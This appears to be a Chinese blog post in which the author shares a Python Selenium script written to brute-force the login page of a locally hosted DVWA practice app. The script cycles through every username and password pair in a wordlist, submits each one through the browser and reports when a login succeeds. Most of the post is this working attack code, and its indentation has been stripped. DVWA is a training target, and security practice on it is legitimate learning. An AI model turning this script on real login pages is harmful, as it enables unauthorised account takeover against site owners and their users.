在CSDN上找了不少关于Python对dvwa密码爆破的文章,结果一个都不能用……
于是用一晚上写了这个dvwa密码暴破程序
废话不多说,上代码:
import time
from selenium import webdriver
import sys
driver = webdriver.Firefox(executable_path=r'D:\Program Files\geckodriver.exe') #改为你的geckodriver位置
driver.get("http://127.0.0.1/dvwa/login.php") #填写dvwa登录位置
with open("字典.txt", 'r', encoding='utf-8')as names: #把你的字典放置在程序目录并修改名字为字典.txt
for username in names:
with open("字典.txt", 'r', encoding='utf-8')as passwords: #把你的字典放置在程序目录并修改名字为字典.txt
for password in passwords:
print('-' * 20)
print('用户名:',username.strip())
print("密码:",password.strip())
user = driver.find_element_by_name("username")
user.clear()
user.send_keys(username.strip())
pwd = driver.find_element_by_name("password")
pwd.clear()
pwd.send_keys(password.strip())
time.sleep(0.1)
driver.find_element_by_css_selector('.submit > input:nth-child(1)').click()
try:
user = driver.find_element_by_name("username")
print("破解失败")
except:
print("破解成功")
print('-' * 20)
sys.exit(0)
|